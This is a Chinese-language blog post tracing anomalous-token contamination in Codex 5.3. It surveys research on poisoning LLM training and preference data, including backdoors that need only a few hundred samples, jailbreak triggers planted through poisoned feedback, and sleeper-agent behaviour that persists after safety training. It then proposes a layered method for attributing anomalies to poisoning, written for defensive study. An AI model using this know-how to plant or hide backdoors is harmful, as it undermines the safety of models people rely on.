            <content:encoded><![CDATA[<div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-3060f0c5b87c80c2b91ad531f9cb294b"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3060f0c5b87c804db122f3230651c7cc"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:57px"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A38076c2e-755b-49c9-8b02-8ef451c731b4%3Aimage.png?table=block&amp;id=3060f0c5-b87c-804d-b122-f3230651c7cc&amp;t=3060f0c5-b87c-804d-b122-f3230651c7cc" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3060f0c5b87c800d834edeeafd1c593a"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A03cf4e6a-5c5e-4e61-b68f-87580eb38e7c%3Aimage.png?table=block&amp;id=3060f0c5-b87c-800d-834e-deeafd1c593a&amp;t=3060f0c5-b87c-800d-834e-deeafd1c593a" alt="notion image" loading="lazy" decoding="async"/></div></figure><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3060f0c5b87c808496dbeb65057d867e"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A3a782fae-a0eb-4916-b138-0552c31b955d%3Aimage.png?table=block&amp;id=3060f0c5-b87c-8084-96db-eb65057d867e&amp;t=3060f0c5-b87c-8084-96db-eb65057d867e" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-text notion-block-3070f0c5b87c80c98695e1c23c076d30">                                           —-codex5.3污染源图</div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-3060f0c5b87c80369c4afec7efa5e7ba" data-id="3060f0c5b87c80369c4afec7efa5e7ba"><span><div id="3060f0c5b87c80369c4afec7efa5e7ba" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c80369c4afec7efa5e7ba" title="从“异常词”到“数据供应链”：我对 Codex 5.3 污染问题的第四轮追溯"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">从“异常词”到“数据供应链”：我对 Codex 5.3 污染问题的第四轮追溯</span></span></h2><hr class="notion-hr notion-block-3060f0c5b87c80c6847acf30d141aa01"/><div class="notion-text notion-block-3070f0c5b87c8069a465c65274c089ae"><span class="notion-red">Ps：本篇是研究过程中的不同时间的碎碎念，段落短文之间不冲突。</span></div><div class="notion-text notion-block-3150f0c5b87c80b0a8e8f48ee35b49d9"><span class="notion-red">其实这个广告就是openai官方允许的，因为普通号和go套餐自带广告，plus以上套餐无广告</span></div><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-3070f0c5b87c80aaae56ee1af2aa210f"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/attachment%3A898c9400-a2b9-496a-a940-91e3e507c18b%3Aimage.png?table=block&amp;id=3070f0c5-b87c-80aa-ae56-ee1af2aa210f&amp;t=3070f0c5-b87c-80aa-ae56-ee1af2aa210f" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3060f0c5b87c80c5ad29e580a52ba3ce" data-id="3060f0c5b87c80c5ad29e580a52ba3ce"><span><div id="3060f0c5b87c80c5ad29e580a52ba3ce" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c80c5ad29e580a52ba3ce" title="攻击成本不是“百分比”，而是“绝对样本数”"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">攻击成本不是“百分比”，而是“绝对样本数”</span></span></h3><div class="notion-text notion-block-3060f0c5b87c80bfa56df5ef84b690e8">以前聊训练数据投毒，最常见表达是“污染了多少比例”。这在小规模实验里没问题，但放到当代大模型，比例思维容易误导风险判断。</div><div class="notion-text notion-block-3060f0c5b87c803aaaf5edd2b973b157">2024 年的《Persistent Pre-Training Poisoning of LLMs》已经很说明问题：作者在 600M 到 7B 规模上做预训练投毒，报告了一个非常低的可生效门槛——0.1% 预训练污染可在后续 SFT/DPO 后保持可测攻击效果，拒绝服务型攻击甚至在更低比例上也能保留迹象[1]。这一步其实已经在提醒我们，“后面对齐一下就会洗掉”并不稳。</div><div class="notion-text notion-block-3060f0c5b87c802c9d4dd0bc5ad0797f">随后《Scaling Trends for Data Poisoning in LLMs》把模型范围扩到 24 个前沿模型（1.5B 到 72B），给出的趋势同样不乐观：规模增长并不自动带来更强抗投毒能力，某些攻击行为反而更容易学进模型[2]。</div><div class="notion-text notion-block-3060f0c5b87c802ab0b5c5c6bdbd55b6">真正把我从“比例思维”拉出来的是 2025 年这篇《Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples》：论文在 600M 到 13B、6B 到 260B token 的设置里报告，固定数量毒样本（文中示例到 250 份）可以在不同规模模型上形成接近的后门效果[3]。Anthropic 同期研究页也明确强调了这一点：随着模型变大，攻击者未必需要按比例增加毒样本[4]。</div><div class="notion-text notion-block-3060f0c5b87c80aa802ec2fc40ac6989">这会直接改变防守思路。过去我们容易把风险模型写成“攻击者要污染海量语料”，现在更现实的写法是“攻击者只要稳定打入少量但高触发价值的样本锚点”。两者在工程意义上是完全不同的：后者对攻击方更便宜，对防守方更痛。</div><hr class="notion-hr notion-block-3060f0c5b87c8097a783e46ec5323026"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3060f0c5b87c80d99a6ec7c071c0cb3c" data-id="3060f0c5b87c80d99a6ec7c071c0cb3c"><span><div id="3060f0c5b87c80d99a6ec7c071c0cb3c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c80d99a6ec7c071c0cb3c" title="RLHF 不是“回滚上游污染”的魔法按钮"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">RLHF 不是“回滚上游污染”的魔法按钮</span></span></h3><div class="notion-text notion-block-3060f0c5b87c80c88503fc04f64f2e50"><b>RLHF 重要，但它更像减震层，不是回滚层。</b></div><div class="notion-text notion-block-3060f0c5b87c80aeb6c7d85e5ac402a9">《Universal Jailbreak Backdoors from Poisoned Human Feedback》（ICLR 2024）证明了偏好数据投毒可以植入“通用触发后门”，也就是加一个触发词就能显著改变安全行为[5]。AAAI 2025 的《Is poisoning a real threat to LLM alignment?》进一步比较了 PPO 与 DPO，在其设定里 DPO 在更低比例污染下就可能被诱导出后门行为[6]。</div><div class="notion-text notion-block-3060f0c5b87c80d5af45e9192aadf756">如果再往前看，2023 年《Poisoning Language Models During Instruction Tuning》已经展示过：哪怕是在指令调优阶段，少量有针对性的污染样本也能让模型在特定短语上持续异常[7]。2024 年《Sleeper Agents》又把问题推到“对抗训练后仍存活”的层面，说明后门行为可以被训练得更隐蔽，而不是自动消失[8]。</div><div class="notion-text notion-block-3060f0c5b87c80d3aa32f1d3aa381520">这些证据叠在一起，我现在不会再把“我们做了对齐”当作充分条件。它最多说明模型在常规评测分布里更安全，不等于在开放环境和触发条件下就没有历史污染债务。</div><hr class="notion-hr notion-block-3060f0c5b87c8015bb97e6e178507c8b"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3060f0c5b87c80cc8f01e44e2ee071cf" data-id="3060f0c5b87c80cc8f01e44e2ee071cf"><span><div id="3060f0c5b87c80cc8f01e44e2ee071cf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c80cc8f01e44e2ee071cf" title="把问题放回数据供应链，我最在意的不是单点失误，而是结构性缝隙"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">把问题放回数据供应链，我最在意的不是单点失误，而是结构性缝隙</span></span></h3><div class="notion-text notion-block-3060f0c5b87c80a4bc16f768dcad2c7c">先看入口体量。Common Crawl 官方页面写得很直白：15 年累计超过 3000 亿页面，每月新增 30-50 亿页面[10]。这种规模决定了系统优先目标是“抓取覆盖与可用性”，不是“逐条深语义审计”。这不是谁做得不好，而是工程约束本身如此。</div><div class="notion-text notion-block-3060f0c5b87c80b18393c91a6fc25d1c">再看抓取排序。Common Crawl 2026-01-19 的官方博客明确提到 Web Graph 的 Harmonic Centrality 与 PageRank，并说明这些指标用于 CCBot 的 crawling choices[11]。这并不自动等于“攻击者可任意操纵”，但它意味着：链接结构、域名中心性、外链生态会真实影响内容进入样本池的机会。</div><div class="notion-text notion-block-3060f0c5b87c80a7876cca0c1fe7202a">然后是下游过滤差异。C4 数据集卡公开给出 <code class="notion-inline-code">en.noblocklist</code> 变体，并注明它关闭了 badwords filter[12]。我并不把这当“错误实践”，因为研究场景确实会需要不同过滤强度；但它说明一个关键事实：同样叫“基于 Common Crawl 的清洗语料”，版本之间的安全特性可能完全不同。</div><div class="notion-text notion-block-3060f0c5b87c80a3bfd5e999a9a15503">类似地，T5 论文定义 C4 本身就揭示了“大规模清洗 web 语料”这件事的复杂度[13]；The Pile 论文强调多源混合带来的泛化收益，但也同时承认要面对数据成分与潜在问题的权衡[14]；RefinedWeb、FineWeb、Dolma、DataComp-LM 这些后续工作，本质都在回答同一件事：不是“要不要过滤”，而是“过滤什么、过滤到什么程度、用什么可复现标准评估过滤收益”[15][16][17][18]。</div><div class="notion-text notion-block-3060f0c5b87c803c8da3ed64b24914d3">我为什么把这些都放进同一段？因为这正是“供应链视角”的含义：风险不只存在于某个恶意样本，而是存在于采集逻辑、过滤策略、版本管理、评测目标之间的系统耦合。</div><hr class="notion-hr notion-block-3060f0c5b87c80e894b8d5a888036bfe"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3060f0c5b87c805e9640eed73c3f08bf" data-id="3060f0c5b87c805e9640eed73c3f08bf"><span><div id="3060f0c5b87c805e9640eed73c3f08bf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c805e9640eed73c3f08bf" title="一条必须讲清的边界：基准数据泄漏，不等于训练投毒"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">一条必须讲清的边界：基准数据泄漏，不等于训练投毒</span></span></h3><div class="notion-text notion-block-3060f0c5b87c807e9a59c1df4a63b014">写这类题目时，最容易混在一起的是两件不同问题：一类是 benchmark contamination（评测题泄漏到训练语料，导致分数虚高）；另一类是 poisoning（攻击者主动塑造模型在特定触发下的行为）。它们都和“数据污染”有关，但机制和后果并不一样。</div><div class="notion-text notion-block-3060f0c5b87c80f2adf9f4c98d2feeb0">我看 benchmark contamination 相关论文后，感觉这个边界必须写清楚。Rephrased Benchmark Samples 那篇工作显示，哪怕把评测题做语义改写，模型依然可能出现“看似泛化、实则记忆”的高分现象[29]。Cross-Language Benchmark Contamination 进一步提示，泄漏不仅发生在同语种，跨语言迁移也会把“见过题”的优势带进来[30]。而 2025 年那篇动态 benchmark contamination 综述讨论了一个现实难题：当模型、数据、基准都在快速演化时，静态去重规则很难长期维持“干净评测”[31]。</div><div class="notion-text notion-block-3060f0c5b87c8096b777ecec87f0a488">我把这组文献放进本文，不是为了偏离主题，而是为了做反证：如果我们连“评测泄漏”都很难彻底排除，就更不能轻率地把所有异常输出都归因为“模型本身变坏了”。相反，正确做法是把证据拆层：先判断是否是评测泄漏和数据重合，再看是否存在触发短语稳定性、语义后门迁移性等 poisoning 信号。另一篇 benchmark contamination 综述也强调了这一点：污染检测不是单一工具问题，而是评测协议与数据治理共同设计的问题[32]。</div><hr class="notion-hr notion-block-3060f0c5b87c8068b46cca37e006667b"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3060f0c5b87c8071a369c7a2d7e6e88e" data-id="3060f0c5b87c8071a369c7a2d7e6e88e"><span><div id="3060f0c5b87c8071a369c7a2d7e6e88e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c8071a369c7a2d7e6e88e" title="在封闭模型条件下，怎样做“弱归因”"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">在封闭模型条件下，怎样做“弱归因”</span></span></h3><div class="notion-text notion-block-3060f0c5b87c807abab8f2a5073bfa15">拿不到闭源模型训练集，怎么证明异常输出来自数据污染？我的答案是，法证级证明很难，但弱归因可以做，而且应该做。所谓弱归因，不是一次性下结论，而是把多种可观测信号拼接成一个可复核的证据链。</div><div class="notion-text notion-block-3060f0c5b87c8093928bfab7df70a44d">我目前采用的是四层信号框架。第一层是 token 与短语异常层，观察异常词在不同任务模板下的出现稳定性，以及是否存在与任务目标弱相关但与历史垃圾语料强相关的词组。第二层是触发鲁棒性层，测试异常是否需要非常特定提示才能出现，还是在改写提示、调整语言、改变代码风格后仍可复现。第三层是语义迁移层，看异常行为是否能跨任务形态迁移，例如从“代码解释”迁移到“代码生成”或“重构建议”。第四层是时间漂移层，把同一批触发集在不同模型版本上做纵向对比，判断这是短期波动还是长期遗留模式。</div><div class="notion-text notion-block-3060f0c5b87c80648c1cf93abc7833e7">为了避免“拍脑袋打分”，我给这四层做了一个最小化评分式：</div><div class="notion-text notion-block-3060f0c5b87c80eeb241d81c536685cb">这不是学术定理，只是工程上的比较尺子。它的价值在于，当团队争论“这是不是偶发”时，至少能回到统一指标：你是在哪一层给出证据、证据强度是多少、是否可以被他人复现实验。只要这个流程跑起来，讨论就会从观点对撞，变成可追溯的证据协作。</div><hr class="notion-hr notion-block-3060f0c5b87c80c5a0a7f6dc1a464829"/><hr class="notion-hr notion-block-3060f0c5b87c8063b8aae4827fd6cea5"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3060f0c5b87c8098bf1bcc2da5964277" data-id="3060f0c5b87c8098bf1bcc2da5964277"><span><div id="3060f0c5b87c8098bf1bcc2da5964277" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c8098bf1bcc2da5964277" title="写在末尾"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">写在末尾</span></span></h3><div class="notion-text notion-block-3060f0c5b87c80dc970fc7bfd0863c03">我后续会把这条线继续往实操推进，重点放在中文 token 异常与上游语料的可复核映射、代码语料里“语义型投毒”而非“显式恶意代码”的检测，以及从异常输出逆向定位到数据批次的最小可行流程。</div><div class="notion-text notion-block-3060f0c5b87c8006b2baee73ff263c0a">如果你在做相近方向，欢迎一起把这件事从“观点竞争”变成“方法协作”。</div><hr class="notion-hr notion-block-3060f0c5b87c805e8519f5db3fef1b1f"/><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-3060f0c5b87c80efb773d8562981a327" data-id="3060f0c5b87c80efb773d8562981a327"><span><div id="3060f0c5b87c80efb773d8562981a327" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3060f0c5b87c80efb773d8562981a327" title="索引"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">索引</span></span></h3><div class="notion-text notion-block-3060f0c5b87c8025aa85eb0c2cdd281d">[1] arXiv:2410.13722, <em>Persistent Pre-Training Poisoning of LLMs</em></div><div class="notion-text notion-block-3060f0c5b87c80c99d93f47a8ef6acad">https://arxiv.org/abs/2410.13722</div><div class="notion-text notion-block-3060f0c5b87c80e9bb52ea7d59544d40">[2] arXiv:2408.02946 (v6, 2025-07-17), <em>Scaling Trends for Data Poisoning in LLMs</em></div><div class="notion-text notion-block-3060f0c5b87c802685cef91dc4e1e28e">https://arxiv.org/abs/2408.02946</div><div class="notion-text notion-block-3060f0c5b87c80ee9135cd1c99078d6b">[3] arXiv:2510.07192, <em>Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples</em></div><div class="notion-text notion-block-3060f0c5b87c800bab4ccb34cb30b06b">https://arxiv.org/abs/2510.07192</div><div class="notion-text notion-block-3060f0c5b87c8097ac8fdb0be41551f5">[4] Anthropic Research (2025-10-09), <em>A small number of samples can poison LLMs of any size</em></div><div class="notion-text notion-block-3060f0c5b87c805485adeff6a87a6a56">https://www.anthropic.com/research/small-samples-poison</div><div class="notion-text notion-block-3060f0c5b87c8018b4ecc1c690bcf517">[5] arXiv:2311.14455 (ICLR 2024), <em>Universal Jailbreak Backdoors from Poisoned Human Feedback</em></div><div class="notion-text notion-block-3060f0c5b87c80e3b4ece5b081dfe1f0">https://arxiv.org/abs/2311.14455</div><div class="notion-text notion-block-3060f0c5b87c802ab8cad363ba71a4c6">[6] arXiv:2406.12091 (AAAI 2025), <em>Is poisoning a real threat to LLM alignment? Maybe more so than you think</em></div><div class="notion-text notion-block-3060f0c5b87c804f9f2ac26e9b4a17b0">https://arxiv.org/abs/2406.12091</div><div class="notion-text notion-block-3060f0c5b87c804db981f0cfcdb830ca">[7] arXiv:2305.00944 (ICML 2023), <em>Poisoning Language Models During Instruction Tuning</em></div><div class="notion-text notion-block-3060f0c5b87c80508b3aec53ebbd80e5">https://arxiv.org/abs/2305.00944</div><div class="notion-text notion-block-3060f0c5b87c80f19a24e5bbfbebe5b2">[8] arXiv:2401.05566, <em>Sleeper Agents: Training Deceptive LLMs that Persist Through Safety Training</em></div><div class="notion-text notion-block-3060f0c5b87c807aa9fbfce919c5bf8d">https://arxiv.org/abs/2401.05566</div><div class="notion-text notion-block-3060f0c5b87c8062a2f5f8c5e0583a06">[9] arXiv:2508.17771 (v2, 2025-09-30), <em>Speculating LLMs’ Chinese Training Data Pollution from Their Tokens</em></div><div class="notion-text notion-block-3060f0c5b87c8032988fcf607cb2e0c0">https://arxiv.org/abs/2508.17771</div><div class="notion-text notion-block-3060f0c5b87c8019906fd4fa03396237">[10] Common Crawl Overview（官方）</div><div class="notion-text notion-block-3060f0c5b87c806a8066d89f1d5367a9">https://commoncrawl.org/</div><div class="notion-text notion-block-3060f0c5b87c806cb25aeed8c244c85c">[11] Common Crawl Blog (2026-01-19), <em>How SEOs Are Using Common Crawl’s Web Graph Data for AI Ranking Signals</em></div><div class="notion-text notion-block-3060f0c5b87c804e924ed8acec92a08e">https://commoncrawl.org/blog/how-seos-are-using-common-crawls-web-graph-data-for-ai-ranking-signals</div><div class="notion-text notion-block-3060f0c5b87c803e83e2c6fd6e2f260b">[12] Hugging Face Dataset Card, <em>allenai/c4</em></div><div class="notion-text notion-block-3060f0c5b87c80ad8188e731fb67abe6">https://huggingface.co/datasets/allenai/c4</div><div class="notion-text notion-block-3060f0c5b87c80089684f7c9d3369df1">[13] arXiv:1910.10683, <em>Exploring the Limits of Transfer Learning with a Unified Text-to-Text Transformer</em>（C4 来源论文）</div><div class="notion-text notion-block-3060f0c5b87c80efbc69cd52dc8d238b">https://arxiv.org/abs/1910.10683</div><div class="notion-text notion-block-3060f0c5b87c80dab5cce7a024f53f47">[14] arXiv:2101.00027, <em>The Pile: An 800GB Dataset of Diverse Text for Language Modeling</em></div><div class="notion-text notion-block-3060f0c5b87c807fb9e0c38eb65933de">https://arxiv.org/abs/2101.00027</div><div class="notion-text notion-block-3060f0c5b87c80639ad3c6a5ec0783e1">[15] arXiv:2306.01116, <em>The RefinedWeb Dataset for Falcon LLM</em></div><div class="notion-text notion-block-3060f0c5b87c80db884fc6e458fd2a23">https://arxiv.org/abs/2306.01116</div><div class="notion-text notion-block-3060f0c5b87c80bba7c5cc36b8a4ec62">[16] OpenReview (NeurIPS Datasets &amp; Benchmarks 2024), <em>The FineWeb Datasets: Decanting the Web for the Finest Text Data at Scale</em></div><div class="notion-text notion-block-3060f0c5b87c80de925bd72f4bb854c9">https://openreview.net/forum?id=n6SCkn2QaG</div><div class="notion-text notion-block-3060f0c5b87c8081bcf4cbd6320c49a8">[17] arXiv:2402.00159 / ACL 2024, <em>Dolma: an Open Corpus of Three Trillion Tokens for Language Model Pretraining Research</em></div><div class="notion-text notion-block-3060f0c5b87c8033bf6edc0ba31249d6">https://arxiv.org/abs/2402.00159</div><div class="notion-text notion-block-3060f0c5b87c803db5d8ca4eee9a36fd">[18] arXiv:2406.11794, <em>DataComp-LM: In search of the next generation of training sets for language models</em></div><div class="notion-text notion-block-3060f0c5b87c80caa526cf70bcab8f83">https://arxiv.org/abs/2406.11794</div><div class="notion-text notion-block-3060f0c5b87c80faa27dd5feff3acdcb">[19] Hugging Face Dataset Card, <em>bigcode/the-stack</em></div><div class="notion-text notion-block-3060f0c5b87c8046b0dacd8dd391e64c">https://huggingface.co/datasets/bigcode/the-stack</div><div class="notion-text notion-block-3060f0c5b87c8001a473ee1593f65673">[20] USENIX Security 2024, <em>An LLM-Assisted Easy-to-Trigger Backdoor Attack on Code Completion Models</em></div><div class="notion-text notion-block-3060f0c5b87c803a8d9ce9951d5ecd06">https://www.usenix.org/conference/usenixsecurity24/presentation/yan</div><div class="notion-text notion-block-3060f0c5b87c8042b7d4d9ddbf93f9af">[21] Mozilla Foundation (2024-02-06), <em>Training Data for the Price of a Sandwich: Common Crawl’s Impact on Generative AI</em></div><div class="notion-text notion-block-3060f0c5b87c80a694e6d67f1b3d7ce5">https://www.mozillafoundation.org/en/research/library/generative-ai-training-data/common-crawl/</div><div class="notion-text notion-block-3060f0c5b87c8099bfeaedf982b07081">[22] 中新网（转经济参考报，2026-02-04）,《引擎优化还是数据污染？AI搜索暗藏“灰色地带”》</div><div class="notion-text notion-block-3060f0c5b87c80039aecc66e8901957c">https://www.chinanews.com.cn/cj/2026/02-04/10565349.shtml</div><div class="notion-text notion-block-3060f0c5b87c80e799b2d760bd709fcf">[23] NIST AI RMF 1.0 (NIST AI 100-1, 2023-01-26)</div><div class="notion-text notion-block-3060f0c5b87c805b83d6f6f63a5ab4b6">https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-ai-rmf-10</div><div class="notion-text notion-block-3060f0c5b87c80c9a94cf56b02f6623f">[24] NIST AI RMF: Generative AI Profile (NIST AI 600-1, 2024-07-26)</div><div class="notion-text notion-block-3060f0c5b87c8057a97af0eb014d0ce6">https://www.nist.gov/publications/artificial-intelligence-risk-management-framework-generative-artificial-intelligence</div><div class="notion-text notion-block-3060f0c5b87c8010b34fc56b3b9a324d">[25] OWASP GenAI Top 10 (2025), LLM04: Data and Model Poisoning</div><div class="notion-text notion-block-3060f0c5b87c80cea57ec979d15e0faf">https://genai.owasp.org/llmrisk/llm042025-data-and-model-poisoning/</div><div class="notion-text notion-block-3060f0c5b87c8056aa76f5cfec01744e">[26] arXiv:1911.00359, <em>CCNet: Extracting High Quality Monolingual Datasets from Web Crawl Data</em></div><div class="notion-text notion-block-3060f0c5b87c8068a92edc1f9e52aaa6">https://arxiv.org/abs/1911.00359</div><div class="notion-text notion-block-3060f0c5b87c808ba004f8fa51a711a2">[27] Hugging Face Dataset Card, <em>tiiuae/falcon-refinedweb</em></div><div class="notion-text notion-block-3060f0c5b87c80fba678f8eea7eafc5c">https://huggingface.co/datasets/tiiuae/falcon-refinedweb</div><div class="notion-text notion-block-3060f0c5b87c8074a34fda1b6fdb36ec">[28] Hugging Face Dataset Card, <em>HuggingFaceFW/fineweb</em></div><div class="notion-text notion-block-3060f0c5b87c80549922d33ae3f8811a">https://huggingface.co/datasets/HuggingFaceFW/fineweb</div><div class="notion-text notion-block-3060f0c5b87c8041b67ee6d8b159b4e5">[29] arXiv:2311.04850, <em>Rephrased Benchmark Samples Can Be Leveraged for Contamination Detection in Large Language Models</em></div><div class="notion-text notion-block-3060f0c5b87c8094b79cfe08f173a97b">https://arxiv.org/abs/2311.04850</div><div class="notion-text notion-block-3060f0c5b87c8015a15cd485f42b31d0">[30] arXiv:2406.13236, <em>Cross-Language Benchmark Contamination: Expanding Data Leakage Detection Beyond English</em></div><div class="notion-text notion-block-3060f0c5b87c807da28ae1c2784ee243">https://arxiv.org/abs/2406.13236</div><div class="notion-text notion-block-3060f0c5b87c802f844bf882a64d5ca5">[31] arXiv:2502.17521, <em>A Survey on Dynamic Benchmark Contamination Detection in Large Language Models</em></div><div class="notion-text notion-block-3060f0c5b87c8014bc7ae56f7b0344cd">https://arxiv.org/abs/2502.17521</div><div class="notion-text notion-block-3060f0c5b87c80e59a28ed0dad0fda76">[32] arXiv:2406.04244, <em>A Survey on LLM Benchmark Contamination: Definitions, Detection, and Mitigation</em></div><div class="notion-text notion-block-3060f0c5b87c80d4ba1efe0e44f68069">https://arxiv.org/abs/2406.04244</div><div class="notion-text notion-block-3060f0c5b87c80f295b0cbf6d86c8221">[33] arXiv:2404.01019, <em>Source-Aware Training to Improve Language Model Attribution</em></div><div class="notion-text notion-block-3060f0c5b87c806c8679eea63494ee21">https://arxiv.org/abs/2404.01019</div><div class="notion-text notion-block-3060f0c5b87c80838c69f19a4029b89f">[34] arXiv:1803.09010, <em>Datasheets for Datasets</em></div><div class="notion-text notion-block-3060f0c5b87c80279cc2d4054a14ea66">https://arxiv.org/abs/1803.09010</div><div class="notion-text notion-block-3060f0c5b87c8076826bd927130e3bb3">[35] 